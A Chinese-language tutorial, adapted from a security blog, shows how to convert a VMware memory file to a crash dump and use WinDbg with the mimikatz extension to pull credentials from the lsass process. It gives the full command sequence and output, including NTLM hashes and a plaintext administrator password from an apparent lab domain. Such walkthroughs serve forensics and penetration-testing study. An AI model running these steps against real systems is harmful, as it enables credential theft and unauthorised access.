前言:
这篇文章来自于国外的carnal0wnage,具体是通过利用windbg载入Mimikatz读取虚拟机内存文件(vmem/vmsn文件),从而获取到其中的密码。之前也有人单独介绍过Mimikatz和metasploit的Mimikatz模块,这次我们主要说一下windbg是怎样使用Mimikatz进行内存取证的。下面我们来看一下carnal0wnage是怎样做的。
题外话:
为了让大家看的更明白,这里我们先简单说一下Mimikatz:该神器出自法国大神Benjamin Delpy之手,可以直接获取到大多数windows平台下的明文密码,相比于其他工具,最大的特点是速度极快,无需等待。关于神器用法之前介绍过了,大家可以戳这里:/computer/security/20200816/cd15975473634422.html
原理是从lsass.exe进程中直接获取密码信息进行破解,而且该破解应该并非穷举方式,而是直接根据算法进行反向计算,这一点原作者已经给出了说明:
下载地址在这里:http://blog.gentilkiwi.com/mimikatz
废话不多说,现在我们看下carnal0wnage是如何做的:
(前面的我就不写了,大约是carnal0wnage的一些个人感慨。。我个人对别人的私生活私感想没兴趣=。=)
当在vCenter/ESXi系统上做这些研究时,我先贴出一些关于这个问题的一些博客文章:
http://www.remkoweijnen.nl/blog/2013/11/25/dumping-passwords-in-a-vmware-vmem-file/
http://blog.gentilkiwi.com/securite/mimikatz/windbg-extension
http://vniklas.djungeln.se/2013/11/29/password-dump-from-a-hyper-v-virtual-machines-memory/
当然,在做这些之前,你需要一些工具:
Windows调试工具(windbg,研究的主要角色)
http://www.remkoweijnen.nl/blog/2013/06/13/debugging-tools-for-windows-direct-download/
http://blog.gentilkiwi.com/programmes/windbg
Windows内存内核工具
http://www.moonsols.com/windows-memory-toolkit/
最新版本的mimikatz已经支持windbg的调用:
https://github.com/gentilkiwi/mimikatz
下面我们开始:
#1 从虚拟主机中拷贝出虚拟内存文件(vmem/vmsn)
#2 使用moonsols的bin2dmp将内存文件转换为dmp格式文件(这里我用的是之前的付过费的pro版)
C:\Users\user\Desktop>Bin2Dmp.exe "Windows Server 2008 x64-b2afd86a.vmem" win2k8.dmp
bin2dmp - v2.1.0.20140115
Convert raw memory dump images into Microsoft crash dump files.
Copyright (C) 2007 - 2014, Matthieu Suiche
Copyright (C) 2012 - 2014, MoonSols Limited
Initializing memory descriptors... Done.
Directory Table Base is 0x124000
Looking for Kernel Base...
Looking for kernel variables... Done.
Loading file... Done.
nt!KiProcessorBlock.Prcb.Context = 0xFFFFF80001B797A0
stuff happens
[0x0000000040000000 of 0x0000000040000000] [0x000000001DAFE000 of 0x000000
MD5 = E8C2F318FA528285281C21B3141E7C51
Total time for the conversion: 0 minutes 14 seconds.
到这,你应该可以获取到一个dmp文件了,我们可以进行下一步工作了。
#3 在windbg中载入dmp文件,下面是图片:
注意:我们要先在windbg控制台中运行.symfix,然后执行.reload
kd> .symfix
kd> .reload
Loading Kernel Symbols
...............................................................
................................................................
.....
Loading User Symbols
Loading unloaded module list
....
#4 windbg中载入mimilib模块
kd> .load C:\users\user\desktop\mimilib.dll
.#####. mimikatz 2.0 alpha (x64) release "Kiwi en C" (May 25 2014 21:48:13)
.## ^ ##. Windows build 6002
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' WinDBG extension ! * * */
===================================
# * Kernel mode * #
===================================
# Search for LSASS process
0: kd> !process 0 0 lsass.exe
# Then switch to its context
0: kd> .process /r /p
# And finally :
0: kd> !mimikatz
===================================
# * User mode * #
===================================
0:000> !mimikatz
===================================
#5 查找lsass进程
kd> !process 0 0 lsass.exe
PROCESS fffffa800dba26d0
SessionId: 0 Cid: 023c Peb: 7fffffd4000 ParentCid: 01e4
DirBase: 2e89f000 ObjectTable: fffff880056562c0 HandleCount: 1092.
Image: lsass.exe
#6 将镜像lsass环境转换到本机中
kd> .process /r /p fffffa800dba26d0
Implicit process is now fffffa80`0dba26d0
Loading User Symbols
................................................................
......................
#7 载入mimikatz
kd> !mimikatz
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : WIN-3C4WXGGN8QE$
Domain : UNLUCKYCOMPANY
SID : S-1-5-20
msv :
[00000002] Primary
* Username : WIN-3C4WXGGN8QE$
* Domain : UNLUCKYCOMPANY
* NTLM : ea2ed0b14406a168791adf5aee78fd0b
* SHA1 : ab7bd2f6a64cf857c9d69dd65916622e3dc25424
tspkg : KO
---SNIP---
Authentication Id : 0 ; 173319 (00000000:0002a507)
Session : Interactive from 1
User Name : Administrator
Domain : UNLUCKYCOMPANY
SID : S-1-5-21-2086621178-2413078777-1398328459-500
msv :
[00000002] Primary
* Username : Administrator
* Domain : UNLUCKYCOMPANY
* LM : e52cac67419a9a2238f10713b629b565
* NTLM : 64f12cddaa88057e06a81b54e73b949b
* SHA1 : cba4e545b7ec918129725154b29f055e4cd5aea8
tspkg :
* Username : Administrator
* Domain : UNLUCKYCOMPANY
* Password : Password1
wdigest :
* Username : Administrator
* Domain : UNLUCKYCOMPANY
* Password : Password1
kerberos :
* Username : Administrator
* Domain : UNLUCKYCOMPANY.NET
* Password : Password1
* Key List
---SNIP---
Okay,这样我们就获取到了内存中的密码,明文的。
[参考来源carnal0wnage's blog略有删减。]